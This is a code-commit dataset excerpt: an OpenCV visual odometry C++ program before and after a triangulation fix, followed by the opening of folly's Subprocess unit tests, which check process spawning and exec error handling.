(fscanf(f, \"%f,%f,%f\", &p.x, &p.y, &p.z) == 3){\n\t\t\tsquareFeatures[index].p3D_ = p;\n\t\t\tindex++;\n\t\t}\n\n\t\tfclose(f);\n\n\t}\n\n void printProjMatrix() {\n\t\tstatic int projIndex = 0;\n LOG(\"Proj Matrix #%d:\", projIndex++);\n\t\tfor (int i = 0; i < 12; i++) {\n LOG(\"%s%lf\\t\", (i % 4 == 0) ? \"\\n\" : \"\", projMatrix.at<double>(i \/ 4, i % 4));\n\t\t}\n LOG(\"\\n\");\n\n\t\tprojectAndShow();\n\t}\n\n void readNextFrame() {\n\n\t\tstatic int findex = 0;\n\t\tchar buf[256];\n\t\tsprintf(buf, \"S01L03_VGA\/S01L03_VGA_%04d.png\", findex++);\n\n\t\timage = cv::imread(buf);\n\t\tif (image.empty()) {\n\t\t\texit(0);\n\t\t}\n\t}\n\n void updateUsingKLT(Frame& previousFrame) {\n\t\t\n\t\tsquareFeatures.clear();\n\t\t\n\t\tvector<cv::Point2f> previousPoints;\n\t\tvector<cv::Point2f> currentPoints;\n\t\tvector<uchar> status;\n\t\tcv::Mat errors;\n\t\tfor (int i = 0; i < previousFrame.squareFeatures.size(); i++) {\n\t\t\tpreviousPoints.push_back(previousFrame.squareFeatures[i].kp_.pt);\n\t\t}\n\n\t\tcv::calcOpticalFlowPyrLK(previousFrame.image, image, previousPoints, currentPoints, status, errors);\n\n\t\tfor (int i = 0; i < previousPoints.size(); i++) {\n\t\t\tif (status[i] != 0 \/*&& errors.at<float>(i) < 4*\/) { \/\/ klt ok!\n\t\t\t\tFeature f;\n\t\t\t\tf.kp_ = cv::KeyPoint(currentPoints[i].x, currentPoints[i].y, 1);\n\t\t\t\tf.p3D_ = previousFrame.squareFeatures[i].p3D_;\n\t\t\t\tsquareFeatures.push_back(f);\n\t\t\t}\n\t\t}\n\t}\n\n void projectAndShow() {\n\n\t\tcv::Mat point3D;\n\t\tpoint3D.create(cv::Size(1, 4), CV_64FC1);\n\t\tpoint3D.at<double>(0) = 140;\n\t\tpoint3D.at<double>(1) = -264;\n\t\tpoint3D.at<double>(2) = 300;\n\t\tpoint3D.at<double>(3) = 1;\n\n\t\tcv::Mat result;\n\t\tresult.create(cv::Size(1, 3), CV_64FC1);\n\t\tcv::gemm(projMatrix, point3D, 1, 0, 0, result);\n\n\t\t\/\/printf(\"%lf %lf %lf\\n\", result.at<double>(0), result.at<double>(1), result.at<double>(2));\n\t\t\/\/printf(\"%lf %lf\\n\", result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2));\n\n\t\tcv::Mat imcopy = image.clone();\n\t\tcv::circle(imcopy, cv::Point(result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2)),4,cv::Scalar(0,0,255),-1);\n\t\tcv::circle(imcopy, cv::Point(result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2)), 3, cv::Scalar(255, 255, 255), -1);\n\t\tcv::circle(imcopy, cv::Point(result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2)), 2, cv::Scalar(0, 0, 255), -1);\n\n\n\n\n for(int i = 0; i < squareFeatures.size(); i++){\n\n point3D.at<double>(0) = squareFeatures[i].p3D_.x;\n point3D.at<double>(1) = squareFeatures[i].p3D_.y;\n point3D.at<double>(2) = squareFeatures[i].p3D_.z;\n point3D.at<double>(3) = 1;\n\n cv::gemm(projMatrix, point3D , 1, 0, 0, result);\n cv::circle(imcopy, cv::Point(result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2)),4,cv::Scalar(0,0,255),-1);\n cv::circle(imcopy, cv::Point(result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2)), 3, cv::Scalar(255, 255, 255), -1);\n cv::circle(imcopy, cv::Point(result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2)), 2, cv::Scalar(0, 0, 255), -1);\n\n\n\n }\n\n for(int i = 0; i < triangleFeatures.size(); i++){\n cv::circle(imcopy, cv::Point(triangleFeatures[i].kp_.pt.x,triangleFeatures[i].kp_.pt.y), 4,cv::Scalar(0,125,255),-1);\n cv::circle(imcopy, cv::Point(triangleFeatures[i].kp_.pt.x,triangleFeatures[i].kp_.pt.y), 3, cv::Scalar(125, 255, 255), -1);\n cv::circle(imcopy, cv::Point(triangleFeatures[i].kp_.pt.x,triangleFeatures[i].kp_.pt.y) , 2, cv::Scalar(125, 125, 255), -1);\n }\n\n cv::imshow(\"frame\", imcopy);\n\t\tif (cv::waitKey(0) == 27) exit(0);\n\t}\n\n};\n\nvoid matchAndTriangulate(Frame& previousFrame, Frame& currentFrame, cv::Mat intrinsics, cv::Mat distortion) {\n\t\n\tstatic GenericMatcher matcher;\n\tvector<cv::DMatch> matches;\n\n\tmatcher.match(currentFrame.descriptors, previousFrame.descriptors, matches, currentFrame.keypoints, previousFrame.keypoints);\n\n\tvector<cv::Point2f> previousTriangulate, currentTriangulate;\n\tcv::Mat\toutputTriangulate;\n\toutputTriangulate.create(cv::Size(4, matches.size()), CV_32FC1);\n\t\n\n\tfor (int i = 0; i < matches.size(); i++) {\n cv::Point pt1 = previousFrame.keypoints[matches[i].trainIdx].pt;\n cv::Point pt2 = currentFrame.keypoints[matches[i].queryIdx].pt;\n\t\tpreviousTriangulate.push_back(pt1);\n\t\tcurrentTriangulate.push_back(pt2);\n\t}\n\n\n \/\/ undistort\n std::vector<cv::Point2f> previousTriangulateUnd, currentTriangulateUnd;\n cv::undistortPoints(previousTriangulate, previousTriangulateUnd, intrinsics, distortion);\n cv::undistortPoints(currentTriangulate, currentTriangulateUnd, intrinsics, distortion);\n\n cv::triangulatePoints(intrinsics.inv()*previousFrame.projMatrix, intrinsics.inv()*currentFrame.projMatrix, previousTriangulateUnd, currentTriangulateUnd, outputTriangulate);\n\n\tfor (int i = 0; i < matches.size(); i++) {\n\t\tFeature f;\n\t\tf.kp_ = cv::KeyPoint(currentTriangulate[i].x, currentTriangulate[i].y, 1);\n\t\tf.p3D_ = cv::Point3f(outputTriangulate.at<float>(0, i) \/ outputTriangulate.at<float>(3, i), \n\t\t\toutputTriangulate.at<float>(1, i) \/ outputTriangulate.at<float>(3, i),\n\t\t\toutputTriangulate.at<float>(2, i) \/ outputTriangulate.at<float>(3, i));\n\t\tcurrentFrame.squareFeatures.push_back(f);\n\t}\n}\n\n\nbool has_enough_baseline(cv::Mat pose1, cv::Mat pose2, double thr_baseline){\n\n cv::Mat R1 = pose1(cv::Range::all(), cv::Range(0, 3));\n cv::Mat T1 = pose1(cv::Range::all(), cv::Range(3, 4));\n\n cv::Mat R2 = pose2(cv::Range::all(), cv::Range(0, 3));\n cv::Mat T2 = pose2(cv::Range::all(), cv::Range(3, 4));\n\n cv::Mat pos1, pos2;\n pos1 = -R1.inv() * T1;\n pos2 = -R2.inv() * T2;\n\n double baseline = cv::norm(pos1 - pos2);\n\n LOG(\"Baseline %f\\n\", baseline);\n return baseline >= thr_baseline;\n}\n\n\nint main() {\n\n \/\/cvNamedWindow(\"frame\", CV_WINDOW_NORMAL);\n \/\/cvSetWindowProperty(\"frame\", CV_WND_PROP_FULLSCREEN, CV_WINDOW_FULLSCREEN);\n\t\n Frame previousFrame(40);\n Frame currentFrame(40);\n Frame keyFrame(40);\n\n\tcv::initModule_nonfree();\n\t\n\tpreviousFrame.loadKpFromFile(\"S01_2Ddata_dst_init.csv\");\n\tpreviousFrame.load3DPointsFromFile(\"S01_3Ddata_dst_init.csv\");\n previousFrame.loadIntrinsicsFromFile(\"intrinsics.xml\");\n currentFrame.loadIntrinsicsFromFile(\"intrinsics.xml\");\n\n\tpreviousFrame.readNextFrame();\n\n\tpreviousFrame.calcProjMatrix();\n\t\n previousFrame.detectAndDescribe();\n\n\tkeyFrame = previousFrame;\n\n\tint counter = 1;\n\n\twhile (true) {\n\n\t\tcurrentFrame.readNextFrame();\n\n\t\tcurrentFrame.updateUsingKLT(previousFrame);\n\n\t\tcurrentFrame.calcProjMatrix();\n\t\t\n\n bool enough_baseline = has_enough_baseline(keyFrame.intrinsic.inv()*keyFrame.projMatrix, currentFrame.intrinsic.inv()*currentFrame.projMatrix, 150);\n\n if (enough_baseline \/*counter % 20 == 0*\/) { \/\/ keyframe interval \/\/ change here from 5 to any other number\n\t\t\tcurrentFrame.detectAndDescribe();\n\n LOG(\"BEFORE: %d\\t\", currentFrame.squareFeatures.size());\n matchAndTriangulate(keyFrame, currentFrame, currentFrame.intrinsic, currentFrame.distortion);\n LOG(\"AFTER: %d\\n\", currentFrame.squareFeatures.size());\n\n\t\t\tkeyFrame = currentFrame;\n \/\/ This is extremely important (otherwise all Frames will have a common projMatrix in the memory)\n keyFrame.projMatrix = currentFrame.projMatrix.clone();\n\t\t}\n\t\t\n\t\tpreviousFrame = currentFrame;\n\t\tcounter++;\n\t}\n\n}\n<commit_msg>fixed triangulation assert error and optimised params<commit_after>#include <stdio.h>\n#include <iostream>\n#include \"opencv2\/highgui\/highgui.hpp\"\n#include \"opencv2\/features2d\/features2d.hpp\"\n#include \"opencv2\/nonfree\/nonfree.hpp\"\n#include \"opencv2\/video\/video.hpp\"\n\n#include <utils.h>\n\n#include <vector>\n\n#include \"types.h\"\n\n#include <algorithm>\n\nusing namespace std;\nusing namespace visual_odometry;\nusing namespace visual_odometry::utils;\n\n#define LOG(...) printf(__VA_ARGS__)\n\n\/\/void CalcProjectionMatrix(const vector<cv::Point3f>& pt_3d, const vector<cv::Point2f>& pt_2d, cv::Mat pM);\n\nclass Frame {\n\npublic:\n\n\tFrame(int n) {\n\t\tsquareFeatures.resize(n);\n\t\ttriangleFeatures.resize(n);\n\t\tprojMatrix.create(cv::Size(4, 3), CV_64FC1);\n\t}\n\n Frame(const Frame& other) {\n squareFeatures = other.squareFeatures;\n triangleFeatures = other.triangleFeatures;\n projMatrix = other.projMatrix.clone();\n intrinsic = other.intrinsic;\n distortion = other.distortion;\n image = other.image;\n keypoints = other.keypoints;\n descriptors = other.descriptors.clone();\n }\n\n\tvector<Feature> squareFeatures;\n\tvector<Feature> triangleFeatures;\n\tcv::Mat projMatrix;\n\t\n \/\/ Intrinsics params\n cv::Mat intrinsic; \/\/ intrinsic parameters\n cv::Mat distortion; \/\/ lens distortion coefficients\n\n\tcv::Mat image;\n\t\n\tvector<cv::KeyPoint> keypoints;\n\tcv::Mat descriptors;\n\n void calcProjMatrix() {\n\n\t\tvector<cv::Point3f> points3d;\n\t\tvector<cv::Point2f> points2d;\n\n for (int i = std::max<int>(0,(squareFeatures.size()-100)); i < squareFeatures.size(); i++) {\n\t\t\tpoints3d.push_back(squareFeatures[i].p3D_);\n\t\t\tpoints2d.push_back(squareFeatures[i].kp_.pt);\n\t\t}\n\n\n\/\/ bool cv::solvePnPRansac\t(\tInputArray \tobjectPoints,\n\/\/ InputArray \timagePoints,\n\/\/ InputArray \tcameraMatrix,\n\/\/ InputArray \tdistCoeffs,\n\/\/ OutputArray \trvec,\n\/\/ OutputArray \ttvec,\n\/\/ bool \tuseExtrinsicGuess = false,\n\/\/ int \titerationsCount = 100,\n\/\/ float \treprojectionError = 8.0,\n\/\/ double \tconfidence = 0.99,\n\/\/ OutputArray \tinliers = noArray(),\n\/\/ int \tflags = SOLVEPNP_ITERATIVE\n\/\/ )\n\n\n LOG(\"Number of Points %d\\n\", points3d.size());\n\n cv::Mat tvec, rvec;\n cv::solvePnPRansac(points3d, points2d, intrinsic, distortion, rvec, tvec, false, 300, 8.0, 0.99);\n\n cv::Mat R;\n cv::Rodrigues(rvec, R);\n\n cv::Mat Pose(3,4, R.type());\n R.copyTo(Pose(cv::Rect(0, 0, 3, 3)));\n tvec.copyTo(Pose(cv::Rect(3, 0, 1, 3)));\n projMatrix = intrinsic*Pose;\n \/\/CalcProjectionMatrix(points3d, points2d, projMatrix);\n\n\t\tprintProjMatrix();\n\t}\n\n void detectAndDescribe() {\n\t\tchar algorithm[] = \"SIFT\";\n\t\tcv::Ptr<cv::FeatureDetector> detector = cv::FeatureDetector::create(algorithm);\n\t\tcv::Ptr<cv::DescriptorExtractor> descriptor = cv::DescriptorExtractor::create(algorithm);\n\n\t\tkeypoints.clear();\n\n\t\tdetector->detect(image, keypoints);\n\t\tdescriptor->compute(image, keypoints, descriptors);\n\t}\n\n\n void loadIntrinsicsFromFile(const std::string& filename){\n\n\n cv::FileStorage cvfs(filename.c_str(),CV_STORAGE_READ);\n if( cvfs.isOpened() ){\n cvfs[\"mat_intrinsicMat\"] >> intrinsic;\n cvfs[\"mat_distortionMat\"] >> distortion;\n }\n }\n\n void loadKpFromFile(const std::string& filename){\n\n\t\tFILE *f = fopen(filename.c_str(), \"r\");\n\t\tfloat x, y;\n\t\tint index = 0;\n\n\t\twhile (fscanf(f, \"%f,%f\", &x, &y) == 2){\n\t\t\tsquareFeatures[index].kp_ = cv::KeyPoint(x, y, 1);\n\t\t\tsquareFeatures[index].type_ = Feature::SQUARE;\n\t\t\tindex++;\n\t\t}\n\n\t\tfclose(f);\n\n\t}\n\n void load3DPointsFromFile(const std::string& filename){\n\n\t\tFILE *f = fopen(filename.c_str(), \"r\");\n\t\tcv::Point3f p;\n\t\tint index = 0;\n\n\t\twhile (fscanf(f, \"%f,%f,%f\", &p.x, &p.y, &p.z) == 3){\n\t\t\tsquareFeatures[index].p3D_ = p;\n\t\t\tindex++;\n\t\t}\n\n\t\tfclose(f);\n\n\t}\n\n void printProjMatrix() {\n\t\tstatic int projIndex = 0;\n LOG(\"Proj Matrix #%d:\", projIndex++);\n\t\tfor (int i = 0; i < 12; i++) {\n LOG(\"%s%lf\\t\", (i % 4 == 0) ? \"\\n\" : \"\", projMatrix.at<double>(i \/ 4, i % 4));\n\t\t}\n LOG(\"\\n\");\n\n\t\tprojectAndShow();\n\t}\n\n void readNextFrame() {\n\n\t\tstatic int findex = 0;\n\t\tchar buf[256];\n\t\tsprintf(buf, \"S01L03_VGA\/S01L03_VGA_%04d.png\", findex++);\n\n\t\timage = cv::imread(buf);\n\t\tif (image.empty()) {\n\t\t\texit(0);\n\t\t}\n\t}\n\n void updateUsingKLT(Frame& previousFrame) {\n\t\t\n\t\tsquareFeatures.clear();\n\t\t\n\t\tvector<cv::Point2f> previousPoints;\n\t\tvector<cv::Point2f> currentPoints;\n\t\tvector<uchar> status;\n\t\tcv::Mat errors;\n\t\tfor (int i = 0; i < previousFrame.squareFeatures.size(); i++) {\n\t\t\tpreviousPoints.push_back(previousFrame.squareFeatures[i].kp_.pt);\n\t\t}\n\n\t\tcv::calcOpticalFlowPyrLK(previousFrame.image, image, previousPoints, currentPoints, status, errors);\n\n\t\tfor (int i = 0; i < previousPoints.size(); i++) {\n\t\t\tif (status[i] != 0 \/*&& errors.at<float>(i) < 4*\/) { \/\/ klt ok!\n\t\t\t\tFeature f;\n\t\t\t\tf.kp_ = cv::KeyPoint(currentPoints[i].x, currentPoints[i].y, 1);\n\t\t\t\tf.p3D_ = previousFrame.squareFeatures[i].p3D_;\n\t\t\t\tsquareFeatures.push_back(f);\n\t\t\t}\n\t\t}\n\t}\n\n void projectAndShow() {\n\n\t\tcv::Mat point3D;\n\t\tpoint3D.create(cv::Size(1, 4), CV_64FC1);\n\t\tpoint3D.at<double>(0) = 140;\n\t\tpoint3D.at<double>(1) = -264;\n\t\tpoint3D.at<double>(2) = 300;\n\t\tpoint3D.at<double>(3) = 1;\n\n\t\tcv::Mat result;\n\t\tresult.create(cv::Size(1, 3), CV_64FC1);\n\t\tcv::gemm(projMatrix, point3D, 1, 0, 0, result);\n\n\t\t\/\/printf(\"%lf %lf %lf\\n\", result.at<double>(0), result.at<double>(1), result.at<double>(2));\n\t\t\/\/printf(\"%lf %lf\\n\", result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2));\n\n\t\tcv::Mat imcopy = image.clone();\n\t\tcv::circle(imcopy, cv::Point(result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2)),4,cv::Scalar(0,0,255),-1);\n\t\tcv::circle(imcopy, cv::Point(result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2)), 3, cv::Scalar(255, 255, 255), -1);\n\t\tcv::circle(imcopy, cv::Point(result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2)), 2, cv::Scalar(0, 0, 255), -1);\n\n\n\n\n for(int i = 0; i < squareFeatures.size(); i++){\n\n point3D.at<double>(0) = squareFeatures[i].p3D_.x;\n point3D.at<double>(1) = squareFeatures[i].p3D_.y;\n point3D.at<double>(2) = squareFeatures[i].p3D_.z;\n point3D.at<double>(3) = 1;\n\n cv::gemm(projMatrix, point3D , 1, 0, 0, result);\n cv::circle(imcopy, cv::Point(result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2)),4,cv::Scalar(0,0,255),-1);\n cv::circle(imcopy, cv::Point(result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2)), 3, cv::Scalar(255, 255, 255), -1);\n cv::circle(imcopy, cv::Point(result.at<double>(0) \/ result.at<double>(2), result.at<double>(1) \/ result.at<double>(2)), 2, cv::Scalar(0, 0, 255), -1);\n\n\n\n }\n\n for(int i = 0; i < triangleFeatures.size(); i++){\n cv::circle(imcopy, cv::Point(triangleFeatures[i].kp_.pt.x,triangleFeatures[i].kp_.pt.y), 4,cv::Scalar(0,125,255),-1);\n cv::circle(imcopy, cv::Point(triangleFeatures[i].kp_.pt.x,triangleFeatures[i].kp_.pt.y), 3, cv::Scalar(125, 255, 255), -1);\n cv::circle(imcopy, cv::Point(triangleFeatures[i].kp_.pt.x,triangleFeatures[i].kp_.pt.y) , 2, cv::Scalar(125, 125, 255), -1);\n }\n\n cv::imshow(\"frame\", imcopy);\n\t\tif (cv::waitKey(0) == 27) exit(0);\n\t}\n\n};\n\nvoid matchAndTriangulate(Frame& previousFrame, Frame& currentFrame, cv::Mat intrinsics, cv::Mat distortion) {\n\t\n\tstatic GenericMatcher matcher;\n\tvector<cv::DMatch> matches;\n\n\tmatcher.match(currentFrame.descriptors, previousFrame.descriptors, matches, currentFrame.keypoints, previousFrame.keypoints);\n\n LOG(\"NMatches %d\\n\",matches.size());\n\n\tvector<cv::Point2f> previousTriangulate, currentTriangulate;\n\tcv::Mat\toutputTriangulate;\n\toutputTriangulate.create(cv::Size(4, matches.size()), CV_32FC1);\n\t\n\n\tfor (int i = 0; i < matches.size(); i++) {\n cv::Point pt1 = previousFrame.keypoints[matches[i].trainIdx].pt;\n cv::Point pt2 = currentFrame.keypoints[matches[i].queryIdx].pt;\n\t\tpreviousTriangulate.push_back(pt1);\n\t\tcurrentTriangulate.push_back(pt2);\n\t}\n\n\n if( previousTriangulate.size() == 0 || currentTriangulate.size() == 0 ){\n \/\/LOG(\"Triangulation Points %d %d\\n\",previousTriangulate.size(),currentTriangulate.size());\n return;\n }\n\n\n\n\n \/\/ undistort\n std::vector<cv::Point2f> previousTriangulateUnd, currentTriangulateUnd;\n cv::undistortPoints(previousTriangulate, previousTriangulateUnd, intrinsics, distortion);\n cv::undistortPoints(currentTriangulate, currentTriangulateUnd, intrinsics, distortion);\n\n cv::triangulatePoints(intrinsics.inv()*previousFrame.projMatrix, intrinsics.inv()*currentFrame.projMatrix, previousTriangulateUnd, currentTriangulateUnd, outputTriangulate);\n\n\tfor (int i = 0; i < matches.size(); i++) {\n\t\tFeature f;\n\t\tf.kp_ = cv::KeyPoint(currentTriangulate[i].x, currentTriangulate[i].y, 1);\n\t\tf.p3D_ = cv::Point3f(outputTriangulate.at<float>(0, i) \/ outputTriangulate.at<float>(3, i), \n\t\t\toutputTriangulate.at<float>(1, i) \/ outputTriangulate.at<float>(3, i),\n\t\t\toutputTriangulate.at<float>(2, i) \/ outputTriangulate.at<float>(3, i));\n\t\tcurrentFrame.squareFeatures.push_back(f);\n\t}\n}\n\n\nbool has_enough_baseline(cv::Mat pose1, cv::Mat pose2, double thr_baseline){\n\n cv::Mat R1 = pose1(cv::Range::all(), cv::Range(0, 3));\n cv::Mat T1 = pose1(cv::Range::all(), cv::Range(3, 4));\n\n cv::Mat R2 = pose2(cv::Range::all(), cv::Range(0, 3));\n cv::Mat T2 = pose2(cv::Range::all(), cv::Range(3, 4));\n\n cv::Mat pos1, pos2;\n pos1 = -R1.inv() * T1;\n pos2 = -R2.inv() * T2;\n\n double baseline = cv::norm(pos1 - pos2);\n\n LOG(\"Baseline %f\\n\", baseline);\n return baseline >= thr_baseline;\n}\n\n\nint main() {\n\n \/\/cvNamedWindow(\"frame\", CV_WINDOW_NORMAL);\n \/\/cvSetWindowProperty(\"frame\", CV_WND_PROP_FULLSCREEN, CV_WINDOW_FULLSCREEN);\n\t\n Frame previousFrame(40);\n Frame currentFrame(40);\n Frame keyFrame(40);\n\n\tcv::initModule_nonfree();\n\t\n\tpreviousFrame.loadKpFromFile(\"S01_2Ddata_dst_init.csv\");\n\tpreviousFrame.load3DPointsFromFile(\"S01_3Ddata_dst_init.csv\");\n previousFrame.loadIntrinsicsFromFile(\"intrinsics.xml\");\n currentFrame.loadIntrinsicsFromFile(\"intrinsics.xml\");\n\n\tpreviousFrame.readNextFrame();\n\n\tpreviousFrame.calcProjMatrix();\n\t\n previousFrame.detectAndDescribe();\n\n\tkeyFrame = previousFrame;\n\n\tint counter = 1;\n\n\twhile (true) {\n\n\t\tcurrentFrame.readNextFrame();\n\n\t\tcurrentFrame.updateUsingKLT(previousFrame);\n\n\t\tcurrentFrame.calcProjMatrix();\n\t\t\n\n bool enough_baseline = has_enough_baseline(keyFrame.intrinsic.inv()*keyFrame.projMatrix, currentFrame.intrinsic.inv()*currentFrame.projMatrix, 150);\n\n if (enough_baseline \/*counter % 20 == 0*\/) { \/\/ keyframe interval \/\/ change here from 5 to any other number\n\t\t\tcurrentFrame.detectAndDescribe();\n\n LOG(\"BEFORE: %d\\t\", currentFrame.squareFeatures.size());\n matchAndTriangulate(keyFrame, currentFrame, currentFrame.intrinsic, currentFrame.distortion);\n LOG(\"AFTER: %d\\n\", currentFrame.squareFeatures.size());\n\n\t\t\tkeyFrame = currentFrame;\n \/\/ This is extremely important (otherwise all Frames will have a common projMatrix in the memory)\n keyFrame.projMatrix = currentFrame.projMatrix.clone();\n\t\t}\n\t\t\n\t\tpreviousFrame = currentFrame;\n\t\tcounter++;\n\t}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2014 Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"folly\/Subprocess.h\"\n\n#include <unistd.h>\n#include <sys\/types.h>\n#include <dirent.h>\n\n#include <boost\/container\/flat_set.hpp>\n#include <glog\/logging.h>\n#include <gtest\/gtest.h>\n\n#include \"folly\/Exception.h\"\n#include \"folly\/Format.h\"\n#include \"folly\/FileUtil.h\"\n#include \"folly\/String.h\"\n#include \"folly\/gen\/Base.h\"\n#include \"folly\/gen\/File.h\"\n#include \"folly\/gen\/String.h\"\n#include \"folly\/experimental\/io\/FsUtil.h\"\n\nusing namespace folly;\n\nTEST(SimpleSubprocessTest, ExitsSuccessfully) {\n Subprocess proc(std::vector<std::string>{ \"\/bin\/true\" });\n EXPECT_EQ(0, proc.wait().exitStatus());\n}\n\nTEST(SimpleSubprocessTest, ExitsSuccessfullyChecked) {\n Subprocess proc(std::vector<std::string>{ \"\/bin\/true\" });\n proc.waitChecked();\n}\n\nTEST(SimpleSubprocessTest, ExitsWithError) {\n Subprocess proc(std::vector<std::string>{ \"\/bin\/false\" });\n EXPECT_EQ(1, proc.wait().exitStatus());\n}\n\nTEST(SimpleSubprocessTest, ExitsWithErrorChecked) {\n Subprocess proc(std::vector<std::string>{ \"\/bin\/false\" });\n EXPECT_THROW(proc.waitChecked(), CalledProcessError);\n}\n\n#define EXPECT_SPAWN_ERROR(err, errMsg, cmd, ...) \\\n do { \\\n try { \\\n Subprocess proc(std::vector<std::string>{ (cmd), ## __VA_ARGS__ }); \\\n ADD_FAILURE() << \"expected an error when running \" << (cmd); \\\n } catch (const SubprocessSpawnError& ex) { \\\n EXPECT_EQ((err), ex.errnoValue()); \\\n if (StringPiece(ex.what()).find(errMsg) == StringPiece::npos) { \\\n ADD_FAILURE() << \"failed to find \\\"\" << (errMsg) << \\\n \"\\\" in exception: \\\"\" << ex.what() << \"\\\"\"; \\\n } \\\n } \\\n } while (0)\n\nTEST(SimpleSubprocessTest, ExecFails) {\n EXPECT_SPAWN_ERROR(ENOENT, \"failed to execute \/no\/such\/file:\",\n \"\/no\/such\/file\");\n EXPECT_SPAWN_ERROR(EACCES, \"failed to execute \/etc\/passwd:\",\n \"\/etc\/passwd\");\n EXPECT_SPAWN_ERROR(ENOTDIR, \"failed to execute \/etc\/passwd\/not\/a\/file:\",\n \"\/etc\/passwd\/not\/a\/file\");\n}\n\nTEST(SimpleSubprocessTest, ShellExitsSuccesssfully) {\n Subprocess proc(\"true\");\n EXPECT_EQ(0, proc.wait().exitStatus());\n}\n\nTEST(SimpleSubprocessTest, ShellExitsWithError) {\n Subprocess proc(\"false\");\n EXPECT_EQ(1, proc.wait().exitStatus());\n}\n\nTEST(SimpleSubprocessTest, ChangeChildDirectorySuccessfully) {\n \/\/ The filesystem root normally lacks a 'true' binary\n EXPECT_EQ(0, chdir(\"\/\"));\n EXPECT_SPAWN_ERROR(ENOENT, \"failed to execute .\/true\", \".\/true\");\n \/\/ The child can fix that by moving to \/bin before exec().\n Subprocess proc(\".\/true\", Subprocess::Options().chdir(\"\/bin\"));\n EXPECT_EQ(0, proc.wait().exitStatus());\n}\n\nTEST(SimpleSubprocessTest, ChangeChildDirectoryWithError) {\n try {\n Subprocess proc(\n std::vector<std::string>{\"\/bin\/true\"},\n Subprocess::Options().chdir(\"\/usually\/this\/is\/not\/a\/valid\/directory\/\")\n );\n ADD_FAILURE() << \"expected to fail when changing the child's directory\";\n } catch (const SubprocessSpawnError& ex) {\n EXPECT_EQ(ENOENT, ex.errnoValue());\n const std::string expectedError =\n \"error preparing to execute \/bin\/true: No such file or directory\";\n if (StringPiece(ex.what()).find(expectedError) == StringPiece::npos) {\n ADD_FAILURE() << \"failed to find \\\"\" << expectedError <<\n \"\\\" in exception: \\\"\" << ex.what() << \"\\\"\";\n }\n }\n}\n\nnamespace {\nboost::container::flat_set<int> getOpenFds() {\n auto pid = getpid();\n auto dirname = to<std::string>(\"\/proc\/\", pid, \"\/fd\");\n\n boost::container::flat_set<int> fds;\n for (fs::directory_iterator it(dirname);\n it != fs::directory_iterator();\n ++it) {\n int fd = to<int>(it->path().filename().native());\n fds.insert(fd);\n }\n return fds;\n}\n\ntemplate<class Runnable>\nvoid checkFdLeak(const Runnable& r) {\n \/\/ Get the currently open fds. Check that they are the same both before and\n \/\/ after calling the specified function. We read the open fds from \/proc.\n \/\/ (If we wanted to work even on systems that don't have \/proc, we could\n \/\/ perhaps create and immediately close a socket both before and after\n \/\/ running the function, and make sure we got the same fd number both times.)\n auto fdsBefore = getOpenFds();\n r();\n auto fdsAfter = getOpenFds();\n EXPECT_EQ(fdsAfter.size(), fdsBefore.size());\n}\n}\n\n\/\/ Make sure Subprocess doesn't leak any file descriptors\nTEST(SimpleSubprocessTest, FdLeakTest) {\n \/\/ Normal execution\n checkFdLeak([] {\n Subprocess proc(\"true\");\n EXPECT_EQ(0, proc.wait().exitStatus());\n });\n \/\/ Normal execution with pipes\n checkFdLeak([] {\n Subprocess proc(\"echo foo; echo bar >&2\",\n Subprocess::pipeStdout() | Subprocess::pipeStderr());\n auto p = proc.communicate();\n EXPECT_EQ(\"foo\\n\", p.first);\n EXPECT_EQ(\"bar\\n\", p.second);\n proc.waitChecked();\n });\n\n \/\/ Test where the exec call fails()\n checkFdLeak([] {\n EXPECT_SPAWN_ERROR(ENOENT, \"failed to execute\", \"\/no\/such\/file\");\n });\n \/\/ Test where the exec call fails() with pipes\n checkFdLeak([] {\n try {\n Subprocess proc(std::vector<std::string>({\"\/no\/such\/file\"}),\n Subprocess::pipeStdout().stderr(Subprocess::PIPE));\n ADD_FAILURE() << \"expected an error when running \/no\/such\/file\";\n } catch (const SubprocessSpawnError& ex) {\n EXPECT_EQ(ENOENT, ex.errnoValue());\n }\n });\n}\n\nTEST(ParentDeathSubprocessTest, ParentDeathSignal) {\n \/\/ Find out where we are.\n static constexpr size_t pathLength = 2048;\n char buf[pathLength + 1];\n int r = readlink(\"\/proc\/self\/exe\", buf, pathLength);\n CHECK_ERR(r);\n buf[r] = '\\0';\n\n fs::path helper(buf);\n helper.remove_filename();\n helper \/= \"subprocess_test_parent_death_helper\";\n\n fs::path tempFile(fs::temp_directory_path() \/ fs::unique_path());\n\n std::vector<std::string> args {helper.string(), tempFile.string()};\n Subprocess proc(args);\n \/\/ The helper gets killed by its child, see details in\n \/\/ SubprocessTestParentDeathHelper.cpp\n ASSERT_EQ(SIGKILL, proc.wait().killSignal());\n\n \/\/ Now wait for the file to be created, see details in\n \/\/ SubprocessTestParentDeathHelper.cpp\n while (!fs::exists(tempFile)) {\n usleep(20000); \/\/ 20ms\n }\n\n fs::remove(tempFile);\n}\n\nTEST(PopenSubprocessTest, PopenRead) {\n Subprocess proc(\"ls \/\", Subprocess::pipeStdout());\n int found = 0;\n 